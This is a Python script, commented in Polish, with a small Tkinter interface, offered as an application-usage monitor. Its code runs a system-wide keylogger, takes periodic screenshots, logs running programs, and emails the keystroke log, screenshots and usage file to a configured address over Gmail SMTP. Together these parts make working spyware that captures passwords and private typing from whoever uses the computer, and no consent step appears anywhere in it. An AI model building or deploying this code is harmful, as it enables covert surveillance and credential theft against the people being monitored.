GUI ver.py

import psutil
import time
import csv
import smtplib
import os
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import matplotlib.pyplot as plt
from collections import defaultdict
from PIL import ImageGrab
import logging
from pynput import keyboard
from dotenv import load_dotenv
import json
import tkinter as tk
from tkinter import messagebox
import threading

# Wczytanie konfiguracji z pliku .env
load_dotenv()

# Konfiguracja logowania błędów
logging.basicConfig(filename='errors.log', level=logging.ERROR, 
                    format='%(asctime)s %(levelname)s %(message)s')

# Funkcja do wczytywania konfiguracji z pliku JSON
def load_config(filename="config.json"):
    try:
        with open(filename, 'r') as file:
            return json.load(file)
    except FileNotFoundError:
        logging.error("Plik konfiguracyjny config.json nie został znaleziony.")
        return {}

# Wczytanie konfiguracji
config = load_config()
duration_seconds = config.get('duration_seconds', 3600)  # czas między kolejnymi cyklami monitorowania
alert_threshold = config.get('alert_threshold', 1800)  # próg ostrzeżenia o nadmiernym użyciu aplikacji
screenshot_interval = config.get('screenshot_interval', 60)  # interwał robienia zrzutów ekranu w sekundach
email_settings = config.get('email', {})

from_email = os.getenv('EMAIL_USER')
from_password = os.getenv('EMAIL_PASS')

# Definiujemy aplikacje, które chcemy monitorować, wczytując z pliku
def load_monitored_apps(filename="monitored_apps.txt"):
    try:
        with open(filename, 'r') as file:
            return [line.strip().lower() for line in file.readlines()]
    except FileNotFoundError:
        logging.error(f"Plik {filename} nie został znaleziony. Używam domyślnych aplikacji.")
        return ['chrome', 'firefox', 'explorer', 'word', 'excel', 'powerpoint']

MONITORED_APPS = load_monitored_apps()

# Globalna lista do przechowywania naciśnięć klawiszy
key_logs = []

# Funkcja obsługująca naciśnięcia klawiszy (keylogger)
def on_press(key):
    try:
        key_logs.append(f'{key.char}')
    except AttributeError:
        key_logs.append(f'{key}')

# Rozpoczęcie nasłuchiwania klawiatury
def start_keylogger():
    listener = keyboard.Listener(on_press=on_press)
    listener.start()

# Zapisanie logów z klawiatury do pliku
def save_key_logs(filename="key_logs.txt"):
    try:
        with open(filename, 'a') as file:  # Zapisuje do pliku, dołączając dane do istniejącego pliku
            for log in key_logs:
                file.write(f'{log}\n')
        key_logs.clear()  # Czyści listę logów po zapisaniu, aby nie duplikować danych
    except Exception as e:
        logging.error(f"Błąd przy zapisywaniu logów klawiatury: {e}")

# Funkcja do monitorowania procesów
def monitor_processes(duration):
    start_time = time.time()
    end_time = start_time + duration
    app_usage = defaultdict(lambda: {'name': '', 'total_time': 0, 'start_times': []})

    while time.time() < end_time:
        current_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
        for proc in psutil.process_iter(['pid', 'name', 'create_time']):
            try:
                proc_name = proc.info['name'].lower()
                if any(app in proc_name for app in MONITORED_APPS):
                    pid = proc.info['pid']
                    app_usage[proc_name]['name'] = proc.info['name']
                    if len(app_usage[proc_name]['start_times']) == 0 or \
                            app_usage[proc_name]['start_times'][-1] != current_time:
                        app_usage[proc_name]['start_times'].append(current_time)
                    app_usage[proc_name]['total_time'] += 5  # Dodajemy 5 sekund użycia aplikacji
            except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
                continue
        time.sleep(5)

    return app_usage

# Zapisanie wyników do pliku CSV
def save_to_csv(data, filename="app_usage_log.csv"):
    try:
        with open(filename, 'w', newline='') as file:
            writer = csv.writer(file)
            writer.writerow(['Application', 'Total Time (seconds)', 'Start Times'])
            for app, info in data.items():
                writer.writerow([info['name'], info['total_time'], ', '.join(info['start_times'])])
    except Exception as e:
        logging.error(f"Błąd przy zapisywaniu do pliku CSV: {e}")

# Funkcja robienia zrzutu ekranu
def take_screenshot(filename="screenshot.png"):
    try:
        screenshot = ImageGrab.grab()
        screenshot.save(filename)
        print(f"Zrzut ekranu zapisany: {filename}")
    except Exception as e:
        logging.error(f"Błąd podczas robienia zrzutu ekranu: {e}")

# Funkcja wysyłająca logi na e-mail (wraz z plikami ze zrzutami ekranu i logami klawiszy)
def send_email(subject, body, to_email, from_email, from_password, files=[]):
    try:
        msg = MIMEMultipart()
        msg['From'] = from_email
        msg['To'] = to_email
        msg['Subject'] = subject

        # Treść wiadomości
        msg.attach(MIMEText(body, 'plain'))

        # Dodawanie załączników
        for file in files:
            with open(file, 'rb') as attachment:
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(attachment.read())
                encoders.encode_base64(part)
                part.add_header('Content-Disposition', f'attachment; filename={file}')
                msg.attach(part)

        server = smtplib.SMTP('smtp.gmail.com', 587)
        server.starttls()
        server.login(from_email, from_password)
        server.sendmail(from_email, to_email, msg.as_string())
        server.quit()
        print(f"E-mail wysłany do {to_email}")
    except smtplib.SMTPAuthenticationError:
        logging.error("Błąd uwierzytelniania SMTP. Sprawdź dane logowania.")
    except Exception as e:
        logging.error(f"Błąd przy wysyłaniu e-maila: {e}")

# Tworzenie raportu
def print_summary(data):
    print("\nSummary of Application Usage:\n")
    for app, info in data.items():
        total_seconds = info['total_time']
        hours, rem = divmod(total_seconds, 3600)
        minutes, seconds = divmod(rem, 60)
        print(f"Application: {info['name']}")
        print(f"Total Usage: {int(hours)}h {int(minutes)}m {int(seconds)}s")
        print(f"Start Times: {info['start_times']}\n")

# Funkcja uruchamiająca monitoring i zrzuty ekranu
def start_monitoring():
    screenshot_timer = 0  # Zmienna, która będzie kontrolować czas robienia zrzutów ekranu
    start_keylogger()  # Uruchamiamy keylogger
    while True:
        process_log = monitor_processes(duration_seconds)
        save_to_csv(process_log)
        print_summary(process_log)

        # Zapisanie logów klawiatury
        save_key_logs()

        # Robienie zrzutu ekranu co określony interwał (np. co minutę)
        if screenshot_timer % screenshot_interval == 0:
            screenshot_file = f"screenshot_{int(time.time())}.png"
            take_screenshot(screenshot_file)

            # Wysyłanie e-maila z logami aplikacji, logami klawiszy i zrzutem ekranu
            send_email(
                subject="Logi monitoringu aplikacji, klawiatury i zrzuty ekranu",
                body="Załączam logi z monitorowania aplikacji, klawiatury oraz zrzut ekranu.",
                to_email=email_settings.get('to_email', ''),
                from_email=from_email,
                from_password=from_password,
                files=["app_usage_log.csv", screenshot_file, "key_logs.txt"]
            )

        # Przerwa przed kolejnym cyklem monitorowania (np. 1 minuta)
        time.sleep(60)  # Każda pętla trwa 1 minutę
        screenshot_timer += 60  # Zwiększamy czas o 1 minutę

# GUI - interfejs graficzny
def create_gui():
    window = tk.Tk()
    window.title("Monitoring Aplikacji")
    
    tk.Label(window, text="Czas monitorowania (w sekundach):").pack()
    duration_entry = tk.Entry(window)
    duration_entry.pack()
    duration_entry.insert(0, str(duration_seconds))

    tk.Label(window, text="Interwał robienia zrzutów ekranu (w sekundach):").pack()
    screenshot_entry = tk.Entry(window)
    screenshot_entry.pack()
    screenshot_entry.insert(0, str(screenshot_interval))

    def start_monitor():
        global duration_seconds, screenshot_interval
        duration_seconds = int(duration_entry.get())
        screenshot_interval = int(screenshot_entry.get())
        threading.Thread(target=start_monitoring).start()
        messagebox.showinfo("Monitoring", "Monitoring został uruchomiony!")

    tk.Button(window, text="Start", command=start_monitor).pack()

    window.mainloop()

# Uruchomienie GUI
create_gui()